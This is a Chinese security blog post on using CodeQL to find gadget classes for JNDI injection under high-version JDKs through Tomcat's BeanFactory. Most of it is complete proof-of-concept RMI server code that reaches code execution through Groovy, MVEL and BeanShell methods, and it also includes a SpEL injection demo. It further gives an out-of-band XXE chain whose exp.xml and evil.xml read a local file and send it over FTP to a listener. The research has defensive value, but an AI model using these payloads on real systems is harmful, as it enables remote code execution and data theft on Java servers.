codeql with JNDI injection

m1yuu 2022-07-13 10:03:00

0x00 前言

今年年初浅蓝师傅发了两篇探索高版本 JDK 下 JNDI 漏洞利用方法的文章,拜读之后一直没时间自己进行探索,正巧最近在工作期间学习codeql相关姿势,看了一下关于寻找高版本JDK下RMI可利用的类及方法的条件,很适合使用codeql写规则探索,于是在这里记录一下自己的探索过程。

写在前面,m1yuu技术有限,文中有些出错的地方或者未表达清晰的细节还请各位大佬斧正

0x01 构建codeql

本文聚焦于利用BeanFactory#getObjectInstance扩大攻击面之后的利用方式探索。我们稍微回忆一下需要寻找的类/方法需要满足的条件,方便构造codeql语句进行查询:

对类的限制

我们寻找的类需要满足:

  • 该类存在定义好的构造方法(Constructor)
  • 该构造方法为public
  • 该构造方法无参

m1yuu特意把构造方法Constructor用英文标出

codeql的使用规则和书写方式总结虽然官方给的很齐全,但是国内中文相关的文档还是不完善,如果想了解关于某些元素的codeql方法或者使用方式可以去官方library查询:https://codeql.github.com/codeql-standard-libraries/search.html,这里关于Constructor的使用,m1yuu去查询到了getAConstructor()

构造UsableClass

class UsableClass extends RefType {
    UsableClass() {
        this.getAConstructor().hasNoParameters()
        and this.getAConstructor().isPublic()
    }
}

对方法的限制

我们寻找的方法需要满足:

  • 声明为public
  • 只有一个参数
  • 此参数为String类型
  • 该方法存在于上文提到的类中

构造UsableMethod

class UsableMethod extends Method {
    UsableMethod() {
        this.getNumberOfParameters() = 1
        and this.getAParamType().hasName("String")
        and this.isPublic()
    }
}

尝试运行codeql

import java
class UsableClass extends RefType {
    UsableClass() {
        this.getAConstructor().hasNoParameters()
        and this.getAConstructor().isPublic()
    }
}

class UsableMethod extends Method {
    UsableMethod() {
        this.getNumberOfParameters() = 1
        and this.getAParamType().hasName("String")
        and this.isPublic()
    }
}

from UsableMethod me, UsableClass cla
where
    me.getDeclaringType() = cla
select cla,me

去lgtm拖了groovy的codeql数据库(https://lgtm.com/projects/g/apache/groovy/ci/),本地导入vscode之后运行上述codeql脚本,结果确实没有问题,搜索到的类和方法均满足预期条件。但是有一个细节可以缩小结果集合,在查找到的结果中有一部分是抽象类和抽象方法,这些需要从结果中删去,于是修改脚本:

import java
class UsableClass extends RefType {
    UsableClass() {
        this.getAConstructor().hasNoParameters()
        and this.getAConstructor().isPublic()
        and not this.isAbstract()
    }
}

class UsableMethod extends Method {
    UsableMethod() {
        this.getNumberOfParameters() = 1
        and this.getAParamType().hasName("String")
        and this.isPublic()
        and not this.isAbstract()
    }
}

from UsableMethod me, UsableClass cla
where
    me.getDeclaringType() = cla
select cla.getPackage(),cla,me

在select中多选择了一个cla.getPackage(),方便在寻找利用点的时候查看其所在的包。

0x02 groovy筛选结果

我们筛选一下扫描后的结果,找到以下可以利用的点:

RCE:addClasspath&&loadClass

image-20220705144059855

这里是浅蓝师傅找到的利用点,先用addClasspath加载远程挂载的groovy脚本,再使用loadClass进行加载。直接给出原文地址

https://tttang.com/archive/1405/#toc_groovyclassloader

就像浅蓝师傅在文中提到的那样,

因为 Groovy 已经有一个 groovy.lang.GroovyShell可以用了,所以这个类并不能体现出价值。

在单个第三方包中有一个利用点就够了,没有必要去接着挖掘。但为了测试我们脚本的准确性(来都来了),m1yuu想尽量把结果中的可利用方式列出来。

RCE:execute

这个就比较明显了,是groovyshell中执行命令的相关方法

image-20220705145319474

poc:

package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class HighRMIServer {

    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(6666);

        ResourceRef resourceRef = new ResourceRef("org.codehaus.groovy.runtime.ProcessGroovyMethods", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

        resourceRef.add(new StringRefAddr("forceString", "m1yuu=execute"));
        resourceRef.add(new StringRefAddr("m1yuu","calc"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("calc", referenceWrapper);
    }
}

RCE:evaluate

果然e开头的方法都值得探究。这里就相当于直接在groovyshell下执行一段命令

image-20220705145735147

poc:

package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class HighRMIServer {

    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(7777);

        ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

        resourceRef.add(new StringRefAddr("forceString", "m1yuu=evaluate"));
        resourceRef.add(new StringRefAddr("m1yuu","\"calc\".execute()"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("calc", referenceWrapper);
    }
}

以默认方式实例化GroovyCodeSourcegcs,带入到evaluate中使用parse方法解析后执行

image-20220705151336604

image-20220705151552679

最后会走到execute方法,与前文一致。

RCE:me

image-20220705152103184

这个me方法听起来很人畜无害,但是其所处的类名是Eval,这就引起了我的注意。进入后发现其可控参数传入了evaluate。直接给出poc:

package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class HighRMIServer {

    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(6666);

        ResourceRef resourceRef = new ResourceRef("groovy.util.Eval", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

        resourceRef.add(new StringRefAddr("forceString", "m1yuu=me"));
        resourceRef.add(new StringRefAddr("m1yuu","\"calc\".execute()"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("calc", referenceWrapper);
    }
}

image-20220705153530549

RCE:parse

poc:

package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class HighRMIServer {

    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(7777);

        ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

        resourceRef.add(new StringRefAddr("forceString", "m1yuu=parse"));
        resourceRef.add(new StringRefAddr("m1yuu","@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"calc\")\n})\ndef m1yuu\n"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("calc", referenceWrapper);
    }
}

image-20220705154639747

也是实例化GroovyCodeSourcegcs后进入parse,调用parseClass后会一直调用到evaluate,防止文章篇幅过长就不逐栈分析了,调用栈如下:

image-20220705155257845

最后传入evaluate的参数如图:

image-20220705155433237

RCE:parseClass

image-20220705160144253

parseClass的利用方式在公开的文章中已经被提到很多次,在此就不详细介绍了。

出网探测:getText

也是没啥意义的利用点,浅蓝师傅找的addClasspath本质上也能作为出网探测。找到了就记录一下

poc:

package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class HighRMIServer {

    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(6666);

        ResourceRef resourceRef = new ResourceRef("groovy.ui.GroovyMain", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

        resourceRef.add(new StringRefAddr("forceString", "m1yuu=getText"));
        resourceRef.add(new StringRefAddr("m1yuu","http://127.0.0.1:8000"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("calc", referenceWrapper);
    }

image-20220629091810108

0x03 MVEL

我在找MVEL已经编译好的codeql数据库时不小心搜到了藏青师傅的文章:https://xz.aliyun.com/t/10829

打开一看也是使用codeql分析JNDI RMI利用方式,瞬间感觉慌的一。但仔细阅读了文章之后发现该文章主要是使用codeql的污点分析功能针对MVEL利用方式进行追踪,与本文思路并不相同。

当然我们的codeql脚本也能准确定位到漏洞触发点:

image-20220705165902768

既然藏青师傅已经写了完整准确详细的污点分析过程,这里就不针对此利用方式过多叙述了。

在MVEL的查询结果中并没有找到其他可利用的方式,parse方法虽然可以满足条件但这里的parse方法真的只是针对字符串进行操作,并没有解析运行的行为。image-20220705170215525

poc:

package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class HighRMIServer {

    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(7777);

        ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "m1yuu=exec"));
        ref.add(new StringRefAddr("m1yuu", "push Runtime.getRuntime().exec('calc');"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("calc", referenceWrapper);
    }
}

image-20220706144031565

image-20220706144138745

0x04 bsh

其实想查询常用的包或者库,只要在spring-framework中进行查询即可。里面包含了各种常见的第三方组件(只是查出来的结果巨多也就四千来个)。去掉各种setter,可利用的点特征也很明显。

我在查询结果中找到了bsh中的可利用方式:

image-20220708160420247

RCE:eval

一般结果里有eval那百分之八九十是利用点,这次也不例外。但是看了藏青师傅的文章,发现也被藏青师傅找出来了(tql

poc:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class HighRMIServer {

    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(7777);

        ResourceRef ref = new ResourceRef("com.sun.org.apache.xerces.internal.impl.xs.XSLoaderImpl", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "m1yuu=loadURI"));
        ref.add(new StringRefAddr("m1yuu", "http://127.0.0.1:8000/exp.xml"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("calc", referenceWrapper);
    }
}

image-20220708162038711

classForName

这个方法名感觉有戏,进去查看:

public Class classForName(String var1) {
        if (this.isClassBeingDefined(var1)) {
            throw new InterpreterError("Attempting to load class in the process of being defined: " + var1);
        } else {
            Class var2 = null;

            try {
                var2 = this.plainClassForName(var1);
            } catch (ClassNotFoundException var4) {
            }

            if (var2 == null) {
                var2 = this.loadSourceClass(var1);
            }

            return var2;
        }
    }

其中调用了plainClassForName方法,发现在这里调用了Class.forName(var1),而var1为我们可控的参数。class.forNameloadClass不同之处在于forName在加载类时会自动执行static内的代码:

public class HighRMIServer {

    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(7777);

        ResourceRef ref = new ResourceRef("bsh.BshClassManager", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "m1yuu=classForName"));
        ref.add(new StringRefAddr("m1yuu", "calc"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("calc", referenceWrapper);
    }
}

image-20220708163522741

但是这里的利用非常鸡肋,我们害得先上传包含恶意代码的class文件到java执行目录下再进行包含执行。(我的评价是啥也不是,图一乐

0x05 为何spring-framwork下无spel利用点

陆陆续续找了很多第三方库,可利用的点基本都被找出或者没什么太大的意义。像我们熟知的javax.el.ELProcessor#eval中,eval方法定义是直接调用this.getValue(),进行el命令解析。我在想spring中的spel是否也有类似的操作时,发现spring下真的存在一个相关方法:org.springframework.expression.spel.standard#parseRaw,但是细看,他只是执行了doParseExpression

protected SpelExpression doParseExpression(String expressionString, @Nullable ParserContext context) throws ParseException {
        try {
            this.expressionString = expressionString;
            Tokenizer tokenizer = new Tokenizer(expressionString);
            this.tokenStream = tokenizer.process();
            this.tokenStreamLength = this.tokenStream.size();
            this.tokenStreamPointer = 0;
            this.constructedNodes.clear();
            SpelNodeImpl ast = this.eatExpression();
            Assert.state(ast != null, "No node");
            Token t = this.peekToken();
            if (t != null) {
                throw new SpelParseException(t.startPos, SpelMessage.MORE_INPUT, new Object[]{this.toString(this.nextToken())});
            } else {
                Assert.isTrue(this.constructedNodes.isEmpty(), "At least one node expected");
                return new SpelExpression(expressionString, ast, this.configuration);
            }
        } catch (InternalParseException var6) {
            throw var6.getCause();
        }
    }

这里的expressionString是我们可控的参数,如果正常执行的话最后会return new SpelExpression(expressionString, ast, this.configuration);

正常的spel注入演示:

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class MainApp {
    public static void main(String[] args) throws Exception {
        String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
        ExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(spel);
        expression.getValue();
    }
}

return new SpelExpression(expressionString, ast, this.configuration);相当于我们构造到Expression expression = parser.parseExpression(spel);,但是最关键的getValue并没有办法触发。spring-framework下并没有可直接调用的getValue,一般来说,spel注入的触发前提都是开发者在注解中或者代码中不规范使用了spel的parser以及getValue

0x06 openjdk java原生利用点

陆陆续续分析了茫茫多的第三方库,眼都看花了。也就几处能实现请求远程资源的利用点,做出网探测是ok的,但是没什么意义。那就搞波大的,自己编译一手openjdk生成codeql数据库,看能不能找到合理的利用方式。

openjdk版本:8u332

藏青师傅在文中也提到过:

因为通过ScriptEngine来执行命令,都需要两个参数,所以不能通过ScriptEngine调用执行命令。

这就意味着openjdk下不太可能会有rce了。所以我一开始也没把目光锁在openjdk上,但是codeql数据库构造成功之后还是想看一眼,于是找到了一处利用方式(好运这次眷顾了傻瓜):

xxe:loadURI

测了几个openjdk版本,此利用方式存在于openjdk高版本。这里的代码环境我用的是最新的8u333。

实际上有两处loadURI方法都是可以用的,结果一样,这里只介绍其中一个,存在于com.sun.org.apache.xerces.internal.impl.xs.XSLoaderImpl#loadURI

public XSModel loadURI(String uri) {
        try {
            fGrammarPool.clear();
            return ((XSGrammar) fSchemaLoader.loadGrammar(new XMLInputSource(null, uri, null, false))).toXSModel();
        }
        catch (Exception e){
            fSchemaLoader.reportDOMFatalError(e);
            return null;
        }
    }

当我们传入的参数为远程的url时,loadGrammar方法会调用loadSchema

image-20220708171930978

经过一系列调用会加载远程的xml文件并且解析,调用栈如图:

image-20220708172944391

到这里思路就比较清晰了,这是一个可利用的openjdk原生的xxe。

Blind OOB XXE

poc:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class HighRMIServer {

    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(7777);

        ResourceRef ref = new ResourceRef("com.sun.org.apache.xerces.internal.impl.xs.XSLoaderImpl", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "m1yuu=loadURI"));
        ref.add(new StringRefAddr("m1yuu", "http://127.0.0.1:8000/exp.xml"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("calc", referenceWrapper);
    }
}

exp.xml:

<?xml version="1.0"?>
<!DOCTYPE cdl [<!ENTITY % asd SYSTEM "http://127.0.0.1:8000/evil.xml">%asd;%c;]>
<cdl>&rrr;</cdl>

evil.xml:

<!ENTITY % d SYSTEM "file:///C:/Users/xxxxx/test/test">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://127.0.0.1:2121/%d;'>"> 

把上面两个文件扔到文件夹下,用python的http.server快速模拟一个恶意服务器,java server加载了此恶意服务器下的xml后会用file协议读取本地文件(当然也可以换成netdoc协议),再用ftp协议发送到接收的端口2121。起简易ftp服务器接受ftp数据推荐一个好用的项目:https://github.com/lc/230-OOB

image-20220708173847818

image-20220708173907954

/C:/Users/xxxxx/test/test里定义一行内容"attack success!!!"

触发漏洞后:

image-20220708174251027

ftp成功获取到读文件的内容

image-20220708174312220

这里只是验证了存在xxe,关于java下xxe漏洞的更多利用方式与后续jdk对其的限制请移步@K0rz3n的文章https://xz.aliyun.com/t/3357

0x07后记

起初只是想用codeql玩一下,看能不能找到浅蓝师傅已经公布的利用方式,但是越走越深,最后甚至big胆到去扫openjdk,但找到了一种利用方式也算没白忙活。实习这段时间没怎么做业务,也很感谢我的导师愿意给我比较大的自由空间去自己研究,接触的越多越感觉自己菜,希望还能静下心来多完善自己的知识储备。

reference:

https://tttang.com/archive/1405

https://xz.aliyun.com/t/10829

https://xz.aliyun.com/t/3357

https://github.com/lc/230-OOB

https://www.mi1k7ea.com/2020/01/10/SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/

评论

m1yuu

这个人很懒,没有留下任何介绍

随机分类

无线安全 文章:27 篇
企业安全 文章:40 篇
漏洞分析 文章:212 篇
前端安全 文章:29 篇
网络协议 文章:18 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录